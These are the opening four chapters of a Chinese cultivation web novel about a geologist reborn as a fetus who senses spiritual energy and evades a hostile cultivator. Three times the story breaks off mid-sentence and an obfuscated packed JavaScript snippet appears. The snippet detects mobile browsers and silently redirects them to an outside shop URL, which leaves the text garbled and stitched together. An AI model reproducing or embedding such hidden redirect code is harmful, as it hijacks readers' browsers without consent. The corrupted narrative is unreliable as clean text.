《凡人阵仙录》 1. 胎中悟道 第一卷第一章胎中悟道 林素衣恢复意识时,周遭是一片温暖的黑暗。 她漂浮在温润的液体中,能感觉到规律的脉动从四面八方传来——那是另一个人的心跳。起初她以为是濒死幻觉,直到记忆如潮水般涌回:她是林素,二十八岁的地质研究员,在山体滑坡中为护住样本被掩埋。最后的记忆是碎石砸落的剧痛,和同事们模糊的呼喊。 而现在,她在一个子宫里。 “胎穿?”这个荒谬的念头浮现时,她尝试动了动手脚。微小的肢体动作立刻引发了外界的反应——一只温暖的手轻轻抚过包裹她的那层柔软屏障。 “哎哟,这孩子今天活泼得很。”一个温婉的女声响起,带着笑意。 “让我听听。”另一个略显粗犷的男声靠近,随后林素衣感觉到外壁被轻轻按压,“好小子,这么有劲儿,肯定是个健壮的!” 我不是小子,林素衣想反驳,却只能踢了踢腿以示抗议。 这对她生物学上的父母笑得更欢了。 接下来的日子里,林素衣在黑暗中重新适应存在。她花了很长时间才接受自己不仅重生,而且回到了婴儿时期——或者说,胎儿时期。前世的记忆完整保留,这让她在最初的震惊后陷入了深深的困惑:为什么会这样?死后重生是可能的吗?这是什么地方? 渐渐地,通过外界断断续续的对话,她拼凑出一些信息: 这里是林家村,一个坐落在山脚下的凡人村落。父亲林大山是猎户,母亲王氏纺织为生,两人成婚五年才怀上这一胎。家里还有一位奶奶,腿脚不便但精神尚可。从谈话的用词和内容看,这里似乎不是她熟悉的历史中的任何一个朝代,语言虽能听懂,却夹杂着一些陌生的词汇。 更奇怪的是,林素衣发现自己的感知远超正常胎儿。 她能清晰地“听”到十丈外邻居家的私语,能“感觉”到风吹过院中那棵老槐树的每一片叶子,甚至能在深夜“看见”月光透过母亲腹部时那微弱的光晕——这显然不是肉眼视觉,而是一种模糊的感知场。 最不可思议的是空气中流动的“东西”。 那不是风。那是一种更精微的存在,如薄雾般弥漫在天地间,在月光下会泛起微弱的荧光,在某些地方格外浓郁,在某些地方稀薄如纱。林素衣不知道那是什么,但她本能地觉得它们很重要。每当这些“光点”靠近时,她会感到莫名的舒适,仿佛干渴的幼苗遇见甘霖。 尝试接触这些光点的过程很艰难。作为胎儿,她没有明确的肢体可以操控,只能用意念去“吸引”。起初毫无反应,直到某个满月之夜。 那晚月光格外明亮,空气中的光点比平时密集数倍。林素衣像往常一样集中注意力,想象自己是一块磁石,吸引着那些发光的微尘。一刻钟,两刻钟,就在她准备放弃时,一个极其微弱的光点颤了颤,缓缓向她飘来。 它穿透了母亲的腹部,穿透了羊水,最终没入她的身体。 那一瞬间,林素衣感到一种前所未有的清凉从头顶蔓延到还未成形的四肢百骸。不是寒冷,而是如清泉洗涤般的通透感。紧接着,她发现自己的感知范围扩大了一点点——原本只能模糊感应到的院子边缘,现在能“看”清墙角那丛野菊上的露珠了。 “灵气。”一个词突然跳入脑海。 林素衣愣住了。为什么她会知道这个词?这不是她前世的记忆。这更像是一种……本能认知,仿佛这个身体天生就知道这些光点的名字和意义。 随后的日子里,她小心翼翼地继续尝试吸引灵气。过程极其缓慢,平均每三四天才能成功吸引一粒,且必须在月光最盛或晨曦初露时。但她能明显感觉到变化:身体发育得更快,感知越来越敏锐,甚至在某个午后,她“听”到了远山的虎啸——那是三十里外深山里的声音。 五个月时,林素衣已经能稳定地每天吸收几粒灵气。她的意识清醒时间越来越长,开始有意识地“扫描”周围环境,了解这个世界。 林家村约五十户人家,依山傍水,村民多以打猎、农耕为生。东头有口古井,井水甘甜,灵气浓度是村里的三倍。西边山脚有片乱石滩,灵气稀薄得近乎于无,村民都说那里“阴气重”,少有人去。 村里的老人偶尔会讲些“仙人传说”,说几百年前有仙人御剑路过,挥手间治好了全村的瘟疫;说西边深山里偶尔会看见五彩霞光,那是仙人在采药;说孩子如果有“灵根”,就会被仙人带走,从此一步登天…… 每当这些故事响起,林素衣都听得格外认真。 她开始怀疑,自己来到的这个世界,可能存在超自然力量。那些灵气,那些传说,自己异常的感知能力——这一切都指向一个可能性:修仙世界。 这个猜测在怀孕第七个月时得到了间接证实。 那是个阴雨绵绵的下午,林大山从镇上赶集回来,语气兴奋地对王氏说:“孩儿他娘,你猜我在镇上听到了什么?张老爷家的小儿子被仙人带走了!说是测出了什么‘三灵根’,直接被御剑接走的!全镇的人都看见了,剑光有十丈长!” 王氏一边纺线一边笑道:“那是张老爷积德。咱们普通人家,孩子健康平安就好。” “也是。”林大山摸摸妻子的肚子,“咱这孩子这么乖,肯定是个有福的。” 林素衣在胎中静静听着,心中波澜起伏。 仙人。御剑。灵根。 果然是修仙世界。 那么,自己这异常的感知能力,能吸收灵气的情况,是否意味着她也有所谓的“灵根”?如果真是这样,她该如何选择?像传说中那样被带走修炼,还是留在凡间陪伴这一世对她呵护备至的父母? 前世的林素是独生女,父母早逝,她几乎是在实验室和野外考察中度过青春。亲情对她而言是遥远而模糊的概念。但这一世,尽管还未出生,她已经能感受到这对夫妻对孩子的珍视——林大山每天都会对着肚子说话,带回各种据说能安胎的野果;王氏每晚哼着走调的歌谣,手指永远温柔地抚摸着腹部的弧线。 这种被全心全意期待和爱护的感觉,陌生而温暖。 夜深人静时,林素衣会一边缓慢吸引灵气,一边思考未来。她决定先弄清楚两件事:第一,自己是否真的有修炼资质;第二,这个世界修仙者的真实情况——是话本里逍遥长生的仙人,还是弱肉强食的残酷世界? 就在她沉思时,一股陌生的气息突然闯入感知范围。 那是一个人影,悄无声息地落在林家院墙上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980511|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是走,不是跳,是如羽毛般飘落。来人穿着深青色劲装,背负长剑,约莫三十岁模样,面容冷峻。他站在墙头,目光如电扫过院落,最终落在王氏所在的卧房方向。 林素衣瞬间紧绷。 她能感觉到,这个人周身环绕着浓郁的灵气,比井口处最密集的灵气还要浓上十倍不止。但这些灵气躁动不安,带着一股阴冷的寒意。更重要的是,此人眼中没有寻常人的温度,只有一种审视猎物的冷漠。 “奇怪。”男子低声自语,声音如砂纸摩擦,“这穷乡僻壤,怎么会有如此纯净的先天之气波动?” 他的目光穿透墙壁,直直“看”向胎儿所在的方位。 林素衣心脏骤缩——如果胎儿有心脏的话。她立刻停止一切灵气吸收,将意识收缩到最小,模仿普通胎儿的混沌状态。这是前世野外考察时学会的伪装技巧:面对猛兽,不动往往比逃跑更安全。 男子眯起眼睛,从怀中掏出一面巴掌大的铜镜。镜子对着卧房方向照了照,镜面泛起微弱的青光。 “先天之气确实是从这里散出的……但非常微弱,时断时续。”他收起铜镜,面露疑惑,“是怀孕妇人无意中吃了什么灵草残渣?还是……” 他跳下院墙,落地无声,朝卧房窗户走去。 林素衣屏住呼吸——尽管她并不需要呼吸。她能感觉到那阴冷的灵气越来越近,带着明确的探查意图。如果被发现异常会怎样?被当成怪物?被强行带走研究?或者更糟? 就在男子的手即将触到窗棂时,院外突然传来狗吠声。 紧接着是林大山的呵斥:“谁在那儿?!” 男子动作一顿,回头看了眼举着猎弓从堂屋冲出来的林大山,眉头微皱。他显然不把凡人猎户放在眼里,但似乎也不愿引起注意。犹豫片刻后,他身形一晃,如鬼魅般消失在夜色中,只留下一句几乎听不见的低语: “罢了,太过微弱,不值得冒险惊动当地的巡查弟子……且标记此处,日后再探。” 阴冷的气息彻底消失。 林大山在院里巡查一圈,嘟囔着“野猫吧”,回屋继续睡下。 而胎中的林素衣,久久无法平静。 刚才那一幕证实了两件事:第一,这个世界确有修仙者存在;第二,修仙者并非都是善类,至少刚才那位不是。 她下意识地内视自身——这是一个最近才掌握的能力。在意识的“视野”中,她的身体内部有极淡的荧光流转,主要集中在心脏和大脑位置。这就是那人说的“先天之气”吗?是她胎穿带来的?还是每个胎儿都有? 更重要的是,她意识到自己必须更加小心。吸收灵气会散发出能被修士察觉的波动,在这个世界,弱小本身就是一种危险。 月光重新洒入卧房,灵气光点再次缓缓汇聚。 但这一次,林素衣没有尝试吸收。她只是静静感知着它们的存在,思考着未来的路。 修仙之路,似乎比她想象的更早地露出了冰山一角。而这条路上,除了长生的诱惑,还有无数未知的危险。 窗外,老槐树的影子在月光下摇曳,如鬼如魅。 而腹中的胎儿,缓缓睁开了意识的眼睛。 她这一世的路,才刚刚开始。 2. 隐胎藏气 青衣修士离去后的第七天,林素衣终于敢再次尝试感知外界。 她像一只受过惊吓的幼兽,先将意识缩成最细微的一缕,缓慢地探出母体屏障。院子里,林大山正在劈柴,斧头落下的节奏稳健有力;王氏坐在檐下缝补衣物,针线穿过粗布的声响绵密轻柔;隔壁传来孩童追逐的笑闹声——一切都恢复了往日的平静。 但林素衣知道,有些东西不一样了。 她将感知聚焦在院墙角落,那是那夜青衣修士站立的位置。空气中残留着一丝极淡的异样气息,与自然灵气截然不同:更凝练,更锋利,带着明显的“标记”意图。那气息像一根无形的线,一端钉在墙角的青砖缝隙里,另一端……她顺着感知延伸,发现它蜿蜒向上,消失在云端方向。 “追踪标记。”林素衣心中了然。那人果然没有完全放弃,这个标记就像猎人布下的饵,只要她再次大规模吸收灵气,就会像黑夜中的篝火一样显眼。 必须解决它。 但怎么做?作为一个尚未出生的胎儿,她连移动手指都做不到,更别说清除修士留下的手段。 林素衣沉下心,开始审视自身。过去几个月的灵气吸收,虽然总量微乎其微,但确实让她的感知能力和意识强度有所提升。更重要的是,她能感觉到身体内部那缕先天之气——它像一团温润的萤火,安静地盘踞在丹田位置(如果胎儿有丹田的话),与外界灵气有着天然的亲和力。 “既然能吸引,能否……反向操作?” 这个念头一出现,林素衣便开始了小心翼翼的试验。她先尝试操控那缕先天之气,用意念引导它移动。过程比想象中困难百倍,就像用一根头发丝去推动水中的羽毛。整整三天,她才让那团萤火微微颤了颤。 第十天,她终于能让先天之气在体内缓慢流转。 这期间,林素衣同时观察着那个标记。她发现它并非一成不变:月圆之夜会微微发亮,晨曦时分则暗淡如常;下雨时,雨水冲刷会让它短暂模糊,但雨停后又恢复如初。最重要的是,标记与外界灵气存在微弱的交互——它就像一个小小的漩涡,会主动吸附周围游离的灵气粒子,维持自身存在。 “自供能结构……”林素衣用前世的工程思维分析,“那么,破坏它的能量循环,或许就能让它失效。” 问题是如何破坏。 直接攻击不可能。那么,干扰呢?如果她能控制自身周围的灵气流动,制造一个“灵气真空区”,切断标记的能量补给呢? 这个想法让林素衣振奋起来。她开始新一轮实验:不再是简单地吸引灵气入体,而是尝试在体外构建一个临时的“灵气场”。方法是将先天之气外放一丝,作为核心,用意念引导周围灵气按照特定轨迹运转。 第一个尝试彻底失败。外放的先天之气刚离开身体就迅速消散,像水滴落入沙漠。 第二个尝试,她改变了策略:不外放,而是以自身为“磁极”,在体表形成一层极薄的灵气吸附层。这次成功了——她能感觉到皮肤表面聚集了比平时密集数倍的灵气光点,像一层朦胧的光晕。 但还不够。标记在三丈外的墙脚,她的影响范围最多只有一尺。 “范围……需要扩大。”林素衣陷入沉思。先天之气总量有限,不可能无限扩散。那么,能否构建一个“场域结构”,让它自我维持、自我扩展? 她回忆起前世见过的“特斯拉线圈”:一个小的初始能量,通过谐振放大,能产生巨大的电场。灵气是否也能共振? 这个想法过于大胆,但值得一试。 接下来的日子,林素衣将大部分清醒时间都投入实验。她先尝试让体表的灵气层以特定频率波动——想象水面涟漪,一圈圈荡开。起初总是失控,灵气要么散乱逸散,要么停滞不动。直到某个深夜,当她模仿母亲心跳的节奏(那是她在胎中最熟悉的声音)来调节灵气脉动时,奇迹发生了。 体表的灵气层突然“活”了过来。 它们开始以稳定的频率振荡,并像共鸣般引动了更远处的灵气。一圈无形的涟漪以她为中心扩散开来,虽然微弱,但确实触及到了一丈、两丈……最终,在第三丈处,触碰到了那个标记。 标记亮了一下。 林素衣立刻停止所有动作,心跳加速(如果胎儿有心跳的话)。她紧张地感知着标记的变化——它闪烁了几次,像接触不良的灯泡,然后恢复了原状。没有警报,没有引来那个修士。 “成功了?”她不敢确定,但确实感觉到了不同:标记虽然还在,但与外界灵气的交互出现了微小的迟滞,就像水流遇到了看不见的障碍。 这给了她信心。 林素衣开始系统性地优化这个“灵气谐振场”。她发现,不同的脉动频率效果不同:模仿心跳的节奏最稳定,模仿呼吸的节奏覆盖范围最大,模仿月光洒落的韵律则最隐蔽。她交替使用这三种频率,每天只在深夜进行极短暂的干扰,每次不超过一刻钟。 一个月后,标记的亮度下降了约三成。 两个月后,它变得时隐时现,像即将熄灭的余烬。 第三个月的满月之夜,林素衣决定进行最后一次尝试。那晚天地灵气格外活跃,月光如银浆洒落。她将积累了两个月的经验全部用上:先以呼吸节奏扩张场域,覆盖整个院落;再切换为心跳节奏稳定结构;最后,在月光最盛的那一刻,切换为月光韵律,让整个场域与天地频率同步。 那一瞬间,她“看到”了前所未有的景象。 以她为中心,一个直径十丈的半球形场域清晰显现。场域内,无数灵气光点像星尘般缓缓旋转,形成一个精密而优美的动态结构。而墙角的那个标记,此刻正位于场域的边缘,像一个生锈的齿轮卡在精密的钟表里——格格不入,且正在被整个系统排斥、消磨。 “就是现在。”林素衣集中全部意念,将场域的脉动频率提升到极限。 标记剧烈闪烁起来,发出只有她能感知到的“尖啸”。它挣扎着想要吸附灵气维持自身,但周围的灵气全部在她的掌控中流转,没有一丝漏给它。三息、五息、十息—— “啵”的一声轻响。 标记像肥皂泡一样破灭了。残留的气息被场域彻底搅碎、稀释,最终消散在夜风中。墙角青砖缝隙里,只留下一道极淡的灼痕,像是被火星溅过,很快就会在风吹雨打下消失无踪。 林素衣缓缓收拢场域,感到一阵深深的疲惫。这次操作消耗了她大量精神,连先天之气都黯淡了许多。但她心中涌起强烈的成就感——这是她来到这个世界后,第一次真正意义上的“主动行动”,而且成功了。 她化解了一场潜在的危机,凭的不是力量,而是智慧与耐心。 就在这时,王氏突然“咦”了一声,轻轻抚摸腹部:“孩子他爹,你觉不觉得今晚特别……舒服?像是泡在温水里,浑身都轻快了。” 林大山打了个哈欠:“是你睡得好吧。快睡吧,明天我还得上山呢。” 林素衣心中一动。原来她的灵气场域对母亲也有滋养作用?这倒是个意外的发现。 危机暂时解除,但林素衣没有放松警惕。那个青衣修士可能还会再来,也可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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产前第七天深夜,林素衣最后一次展开感知场域,扫描了整个林家村及周边三里范围。一切如常:村民沉睡,虫鸣唧唧,灵气如常流转。那个修士没有回来,也没有其他异常。 她收回感知,将意识沉入最深处的宁静。 够了。准备已经做了能做的一切。胎中的修行告一段落,接下来的路,要等出生后再一步步走。 就在她准备彻底放松时,一股微弱但奇特的波动突然闯入感知范围。 不是灵气,不是标记,而是某种……生命共鸣。 来自村子东头,那口古井方向。 林素衣凝神感知,发现井底深处,有一团微弱的意识正在苏醒。它很原始,很懵懂,像刚破壳的雏鸟,但确实存在,并且正本能地吸收着井中浓郁的灵气。 “井中生灵?”林素衣心中惊异。这个世界,连一口普通的井都能孕育出灵性存在吗? 那团意识似乎也感应到了她的注视,好奇地“望”了过来。两个尚未出生的生命(如果井中那团也算生命的话),在深夜的静谧中完成了第一次无声的交流。 没有语言,没有形态,只有纯粹的好奇与善意。 片刻后,那团意识又沉沉睡去,继续它的孕育。 林素衣收回注意力,心中泛起涟漪。这个世界,比她想象的更加深邃,更加神秘。 而她的旅程,马上就要真正开始了。 窗外,第一缕晨光刺破夜色。 王氏在睡梦中翻身,手无意识地护住腹部,轻声呢喃:“快了吧……娘等着你呢。” 胎中的林素衣,轻轻踢了踢脚,作为回应。 这是她在母体中最后的动作。 十四个时辰后,林家村迎来了二十年来最大的一场春雨。 而林家的第一个孩子,在雨声中呱呱坠地。 3. 婴啼惊月 林素衣来到这个世界的第一感觉,是冷。 脱离温暖羊水的瞬间,初春的空气像无数细针扎在新生皮肤上。她本能地张嘴想吸气,却发出一声响亮的啼哭——这是她无法控制的生理反应。然后她被一双粗糙但温柔的大手托起,麻布擦拭掉身上的胎液,裹进暖烘烘的棉布里。 “是个丫头!健康的丫头!”接生婆的声音洪亮。 林素衣努力睁开眼睛。光线刺眼,模糊的人影在晃动。她眨了好几次,视线才渐渐清晰:土坯房顶,横梁上挂着干草药;油灯昏黄的光晕下,林大山黝黑的脸上满是汗水,眼中却闪着泪光;王氏虚弱地躺在床上,面色苍白,但嘴角带着笑。 “给我看看……”王氏伸出手。 林素衣被轻轻放在母亲枕边。她闻到了血的气息、草药的气息,还有母亲身上那种独特的温暖味道。王氏的手指颤抖着抚过她的脸颊,那么轻,那么珍惜。 “眼睛真亮,像浸在水里的黑葡萄。”王氏轻声说。 林大山搓着手,想碰又不敢碰:“像你,鼻子嘴巴都像你。” 林素衣静静地感受着这一切。前世她只在照片里见过母亲,这一世,这个将她带来世界的女子正用全部的爱意注视着她。她尝试控制面部肌肉,想挤出一个笑——失败了。新生儿的面部神经还不听使唤。 但她的手可以动。她伸出小小的手指,握住了王氏的一根手指。 王氏的眼泪突然滚落:“她抓着我呢……” 那一夜,林素衣是在父母的注视和低语中度过的。她太累了,生理上的疲惫如潮水般淹没意识,但精神却异常清醒。她能感觉到身体每一个部位都在适应这个全新的存在形态:肺叶的第一次扩张,心脏的有力搏动,血液在细小血管中的奔流。 还有灵气。 成为婴儿后,她对灵气的感知发生了一些变化。在胎中时,感知是全方位、弥散状的,如同浸泡在灵气海洋里。而现在,感知有了方向性——她需要“看”向哪里,那里的灵气图像才会清晰。这或许是眼睛与意识结合的产物。 更重要的是,她能吸收的灵气量增加了。不再是每天几粒微尘,而是能持续吸收微弱的灵气流,像小溪般缓缓汇入体内。先天之气像得到了灌溉的种子,开始更活跃地生长、扩散,改造着这具新生躯体的每一处。 三日后,林素衣已经能较稳定地控制身体了。她尝试转动头部、弯曲手指,甚至发出咿呀的声音回应父母的呼唤。林大山和王氏欣喜若狂,觉得这孩子格外聪明懂事。 第七日,接生婆来“洗三”。村里几个相熟的妇人也来帮忙,小小的土坯房里挤满了人。林素衣被抱到木盆里,温水淋在身上,妇人们唱着她听不懂的祈福歌谣。 就在这时,她再次感知到了那口井。 井中的那团意识似乎感应到了她的“诞生”,主动传来了问候的波动。这次更清晰了——那是一个懵懂但纯净的存在,像初生的水精灵,依附在井底的古老青石上,以井水灵气为食。它没有复杂的思维,只有简单的情绪:好奇、欢喜、一点点的孤独。 林素衣尝试回应。她将一丝极微弱的意念投注过去,表达友好。井中生灵立刻欢快地“舞动”起来,井水无风自动,泛起细微涟漪。不过这些变化太微小,屋里忙碌的人们没人注意到。 洗三礼结束,客人们陆续离开。林奶奶拄着拐杖过来,这是林素衣第一次“见”到这位祖母。老人很瘦,背微驼,但眼睛很亮。她颤巍巍地从怀里掏出一个小小的银锁,挂到林素衣的脖子上。 “平安锁……愿我孙女一世平安。”老人的手粗糙如树皮,抚摸时却很温柔。 夜深人静时,林素衣躺在王氏身侧的摇篮里,睁眼看着窗外的月光。她已经能长时间保持清醒,且夜晚的修炼效果最佳。 她开始系统性地探索自己的能力边界。 首先是感知范围。全力展开时,她能覆盖整个院落及周边二十丈。这个范围内,她能“看”清每一片叶子的脉络,能“听”见地下蚯蚓翻土的声音,能分辨不同物体散发出的微弱灵气差异:院中那棵老槐树灵气最浓,树心处有一团柔和的绿光;厨房水缸里的水有淡淡灵气;父母身上也有微弱的生命灵气流动,但远不如她。 其次是灵气吸收效率。她发现不同姿势效果不同:仰卧时最差,侧卧稍好,盘坐最佳——但新生儿根本无法盘坐。她只好尽量保持蜷缩姿势,模仿胎中的状态。呼吸节奏也很重要,她开始有意识地控制呼吸,模仿之前在胎中创造的谐振频率。 一夜修炼,先天之气增长了一丝。 满月时,林家办了简单的酒席。村里来了二三十人,院子里摆了三桌粗茶淡饭。林大山抱着女儿挨个给人看,每个人都夸孩子“天庭饱满”“眼神灵秀”。 酒过三巡,村里最老的陈爷爷被扶到主桌。老人九十多了,牙齿掉光,说话漏风,但脑子清醒。他盯着林素衣看了很久,浑浊的眼睛里闪过一丝异色。 “这丫头……”他慢慢地说,“出生那天下大雨吧?” 林大山点头:“陈爷爷记得清楚,是春雨,下得可大。” “井水涨了三寸。”老人用拐杖点点地面,“我活了九十多年,那口老井只在三种情况下涨水:暴雨连下三日,地龙翻身,还有……” 他顿了顿,周围的人都安静下来。 “还有仙人路过的时候。”老人说完,端起酒碗喝了一口。 桌上气氛微妙起来。有人笑道:“陈爷爷又讲古了,咱们这穷乡僻壤,哪来仙人。” “就是,要真有仙人,先把村西头那几亩旱地给整肥了。” 说笑间话题转开,但林素衣注意到,陈爷爷的目光又在她脸上停留了片刻,才缓缓移开。 那晚客散后,林素衣在摇篮里久久未眠。陈爷爷的话在她心中掀起波澜:井水上涨,是因为她出生?还是因为井中生灵的活跃?老人说的“仙人路过”又是什么典故? 她决定冒险一次。 深夜子时,万籁俱寂。林素衣将感知全力投向村东古井。这一次,她不再只是简单问候,而是试图与井中生灵进行更深入的“交流”。 过程艰难。井中生灵的意识太原始,无法理解复杂概念。林素衣只能传递最简单的情绪和图像:温暖的、友好的、好奇的。作为回应,井中生灵向她展示了井底的世界——青石上的苔藓,石缝里的小虾,还有井壁深处,一道极细微的裂缝。 裂缝中,透出淡淡的蓝光。 那光给林素衣一种奇异的感觉:古老、深邃、带着某种韵律,像是……某种阵法残留的痕迹? 她想看得更清楚,但井中生灵的感知无法深入裂缝。尝试几次后,她只能放弃。 交流结束时,井中生灵传来依依不舍的情绪。林素衣承诺会再来,然后收回了感知。 这次探查让她收获了两个重要信息:第一,井底有秘密,可能与修真有关;第二,井中生灵的成长速度很快,照这个趋势,几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980513|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月后它或许就能拥有更清晰的意识,成为她在这个世界第一个“非人朋友”。 日子一天天过去。林素衣以惊人的速度成长着:一个月能抬头,两个月能翻身,三个月能坐起。林大山和王氏又惊又喜,觉得自家女儿是天降神童。村里人也渐渐传开,说林家丫头聪明得不像寻常孩子。 只有林素衣自己知道,这是先天之气持续改造身体的结果。她的筋骨比普通婴儿强壮,神经反应更快,大脑发育也远超同龄。四个月时,她已经能模糊地发出“爹”“娘”的音节,虽然多数时候还是咿呀学语。 但快速成长也带来了新问题。 五个月大的一个午后,林素衣被抱在院里晒太阳。王氏在旁择菜,林大山在修农具。一切都那么平静,直到村道上传来马蹄声。 三匹马停在林家院外。马上是三个身穿锦袍的男子,为首的是个面色倨傲的青年,约莫二十出头,腰间佩剑,剑鞘镶玉。后面两人像是随从。 “这里是林家?”青年开口,声音冷清。 林大山忙起身:“是,请问几位是……” “镇上张府的人。”青年没下马,居高临下地说,“听闻你家女儿生来聪慧,我家公子想来看看。” 林素衣心中一紧。张府,就是那个有孩子被仙人带走的张老爷家? 王氏抱着她站起来,有些不安:“丫头还小,怕生……” “只是看看。”青年不容置疑,已经翻身下马。 他走近,目光落在林素衣脸上。那一瞬间,林素衣感觉到一股微弱的探查波动扫过自己——非常微弱,但确实是修士的手段!这人身上有灵气流动,虽然稀薄驳杂,最多炼气一二层,但确实是修行者! 她立刻收敛所有气息,将先天之气藏到最深处,眼神变得懵懂茫然,像普通婴儿一样流着口水,伸手去抓王氏的衣襟。 青年盯着她看了半晌,眉头微皱。他显然没发现异常,只看到一个比普通孩子漂亮些的女婴。 “确实有几分灵气。”他淡淡评价,从怀中掏出一块玉佩,“这是我家公子赏的,给孩子戴着吧。” 玉佩入手温凉,林素衣立刻感觉到里面封存着一道极微弱的灵气——是护身符一类的低级法器。 “多谢张公子……”林大山躬身道谢。 青年不再多言,转身上马:“若孩子日后有特别之处,可来张府通报。驾!” 马蹄声远去。 林大山看着手中玉佩,又看看女儿,憨厚的脸上满是困惑:“张府的公子……为何特意来看咱家丫头?” 王氏紧紧抱着林素衣,低声道:“我有点怕。” 林素衣安静地趴在母亲肩头,心中却翻涌不息。张府派人来,绝不是单纯好奇。他们可能听说了陈爷爷那日的醉话,或者察觉到了什么异常。那块玉佩,既是赏赐,也是标记——她能感觉到玉佩散发出的微弱波动,像一个小小的信标。 这个世界,比她想象的更早地展现了它复杂的一面。 仙路未启,风雨已至。 而她还只是个五个月大的婴儿。 窗外,暮色四合。老槐树的影子拖得很长,像伸向天空的枯手。 林素衣闭上眼睛,开始默默运转体内那缕先天之气。 时间,她需要时间。 而在村东古井深处,那团意识感应到了她的情绪波动,轻轻荡漾井水,像是在安慰。 月光升起时,井底裂缝中的蓝光,比往常亮了一分。 4. 玉佩藏机 张府送来的玉佩,被林大山用红绳系好,挂在了林素衣的脖颈上。 玉佩触肤生温,内蕴的那道灵气像条冬眠的小蛇,静静蛰伏。林素衣能清晰感知到它的存在——不仅是个护身符,更是个信标,持续散发着极微弱的波动,若有若无地标记着她的位置。 “不能摘。”她很快做出判断。贸然取下反而会引起怀疑,不如将计就计。 接下来的日子里,林素衣开始研究这块玉佩。她用感知深入探查其内部结构:核心是一道固化的小型“安神阵”,能驱散寻常阴邪之气;边缘则嵌着一圈更隐蔽的符文,正是信标所在。符文设计精巧,吸收佩戴者散逸的微量灵气维持运转,理论上能持续数年。 “炼气初阶的手笔。”林素衣评估。布阵者水平有限,符文有冗余结构,灵力流转效率不高。但正因如此,反倒给她留下了操作空间。 她开始尝试干扰玉佩的功能。 白天,当她被父母抱着在村里走动时,任由玉佩正常运作。夜晚回到家中,她便展开那日渐纯熟的灵气谐振场,将玉佩包裹其中。场域的特定频率能屏蔽信标的外传波动,又不破坏其内部结构——从外界看,玉佩仍在运作,只是信号被“困”在了院墙之内。 这项操作需要精细控制。林素衣花了半个月,才做到收发由心、不留痕迹。其间有两次险些失误,玉佩突然的波动异常让她惊出一身冷汗,好在张府那边似乎没有实时监控,只是定期探查。 玉佩危机暂时缓解,林素衣将更多精力投向井中生灵。 六个月大时,她已经能熟练爬行。某个午后,王氏在院里晒被子,将她放在铺了草席的阴凉处。林素衣趁着母亲不注意,缓慢爬向院门方向——不是真要出去,而是测试自己的活动范围。 爬到第三丈时,王氏发现,笑着将她抱回:“想去哪儿呀?小淘气。” 林素衣咿呀回应,心中却记下了这个距离:三丈内是安全活动区,再远就会被立刻抱回。这意味着她很难主动接近那口井,必须另想办法。 机会在七个月大时出现。 那日村里有喜事,邻家嫁女,全村人都去帮忙吃席。林大山和王氏也要去,便将林素衣托给林奶奶照看。老人腿脚不便,只能坐在堂屋门口择菜,让孙女在脚边玩耍。 林素衣等的就是这一刻。 她装作被蝴蝶吸引,慢慢爬向院门。林奶奶起初还看着,后来低头择菜久了,再抬头时,孙女已经爬到了院门边。 “哎哟,可不能出去!”老人忙起身。 但林素衣已经推开了虚掩的院门。不是用蛮力——七个月大的婴儿也没那力气——而是用灵气谐振场轻轻震开了门闩。门开了一条缝,她迅速爬了出去。 林奶奶拄着拐杖追出来时,林素衣已经爬到了十丈外的村道上,方向正是村东古井。 “回来!素衣回来!”老人着急大喊。 几个路过的村民见状,帮忙拦住了爬得飞快的女婴。林素衣被抱回时,眼睛还望着古井方向——她成功拉近了与井的距离,感知清晰了数倍。 井中生灵感应到她的靠近,传来欢欣的波动。林素衣也“告诉”它:下次会再找机会过来。 这次“出逃”让林家人后怕不已。林大山在院门加了道矮栅栏,王氏更是寸步不离。但林素衣的目的已经达到:她确认了井中生灵的状态,也摸清了从家到井的路径——沿村道直行六十丈,左转即到。 更重要的是,这次靠近让她察觉到了井底的新变化。 那道裂缝中的蓝光,比一个月前明亮了许多。不仅如此,裂缝边缘出现了细微的扩展,像是有什么东西正在缓慢“生长”出来。井中生灵对裂缝既好奇又畏惧,不敢太过靠近。 “需要实地探查。”林素衣得出结论。但以她现在的行动能力,独自爬到井边几乎不可能,必须有大人带去。 转机出现在她八个月大时。 那年夏天格外炎热,古井的水却异常清凉甘甜。村里人打水时发现,井水不仅能解渴,似乎还有提神醒脑的功效。消息传开,连邻村都有人专门来取水。 林大山也常去打水。某日他挑水回来,对王氏说:“怪了,咱家水缸的水三天就发浑,井里的水放上十天都清亮亮的。” 王氏笑道:“那是老井有灵性。” 说者无心,听者有意。林素衣知道,这是井中生灵活跃的表现。它的成长正在影响井水品质。 九个月大时,林素衣终于找到了接近古井的合理借口。 那日她“突发高烧”,小脸通红,哭闹不止。林大山请来村里的赤脚郎中,把脉后说是“暑热内侵”,开了几味草药。王氏熬了药喂她,却喂不进去——林素衣闭紧嘴巴,药汁全洒了。 “这可怎么办……”王氏急得掉泪。 林奶奶拄着拐杖过来,摸了摸孙女的额头,慢悠悠道:“去井边打碗水,给孩子擦擦身子。老井的水凉,能散热。” 